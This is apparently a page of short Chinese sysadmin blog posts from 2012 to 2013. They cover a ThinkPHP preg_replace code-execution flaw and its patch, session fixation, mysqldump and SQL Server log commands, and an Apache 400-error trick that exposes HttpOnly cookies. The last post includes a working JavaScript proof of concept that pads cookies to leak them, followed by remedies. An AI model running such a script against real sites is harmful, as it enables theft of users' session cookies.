作者:linux120
发布时间:January 15, 2013
分类:服务器维护
No Comments
描述:
目标存在任意代码执行漏洞。
1.攻击者可以直接在使用了ThinkPHP框架的网站上执行任意php代码.
2.漏洞形成原因:ThinkPHP框架由于URI取值后动态赋值生成URL时,使用了preg_replace函数,并调用了e开关,同时又使用了支持php变量语法解析的双引号方式,最终导致了一个任意代码执行漏洞.
危害:
黑客可以利用该漏洞直接在网站执行任意代码,从而有可能直接控制网站服务器,盗取网站数据,影响网站的正常运营。
解决方案:
官方已经发布补丁:
https://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838或者直接修改源码:/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php125行:$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));修改为$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=\'\\2\';', implode($depr,$paths));将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
作者:linux120
发布时间:January 8, 2013
分类:服务器配置
No Comments
描述:
目标存在PHPSESSID已知会话确认攻击漏洞。
1.通过注入用户的会话,冒充用户去通过网站的认证。
2. PHPSESSID已知会话确认攻击是通过注入一个客户的PHPSESSID,然后修改其PHP session cookie,最后通过修改后cookie值去通过网站的认证。
危害:
1.冒充用户去通过认证,然后进行下一步攻击。
2. PHPSESSID已知会话确认攻击(Session fixation)的原理与Session劫持非常相似。攻击者需事先获得该session ID,然后通过欺骗用户使用该session ID去进行认证,认证后由于session ID不变,而session则变成了一个认证后的session,最后攻击者则可以直接使用该session ID和认证后的session以用户的身份通过系统的认证。
解决方案:
在PHP.INI文件中配置 session.use_only_cookies = 1。该选项让管理员能够避免用户被攻击。默认值为 0.
注:
1. 请确认修改的 php.ini 文件是当前网站使用的,您可以使用 phpinfo()函数来确认 php.ini 文件位置;
2. 去掉前面的分号。
如 ;session.use_only_cookies = 1 改为
session.use_only_cookies = 1
作者:linux120
发布时间:December 30, 2012
分类:服务器配置
No Comments
mysql备份可以停库的时候直接将文件打包,也可以使用mysqldump导出,如下是mysqldump导出时不同引擎的方案。
针对MYISAM存储引擎
mysqldump -uroot -p123456 --lock-all-tables backupdb> backup.sql
针对INNODB存储引擎
mysqldump -uroot -p123456 --skip-opt --single-transaction --add-drop-table --create-options --quick --extended-insert --set-charset --disable-keys backupdb> backup.sql
作者:linux120
发布时间:December 28, 2012
分类:服务器维护
No Comments
D盘告急,经查数据库日志文件为40G
通过下列语句间接收缩数据库日志文件大小。
backup log db_name WITH NO_LOG
backup log db_name WITH TRUNCATE_ONLY
DBCC SHRINKDATABASE(db_name)
db_name为数据库名。
作者:linux120
发布时间:December 26, 2012
分类:服务器维护
No Comments
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
function makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match
content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}makeRequest();
你就能看见华丽丽的400错误包含着cookie信息。
解决办法很简单:
1、升级apache到最新版本。
2、在httpd.conf中定义400错误为具体的页面,不使用系统自带的就行了。
- «
- 1
- ...
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- ...
- 16
- »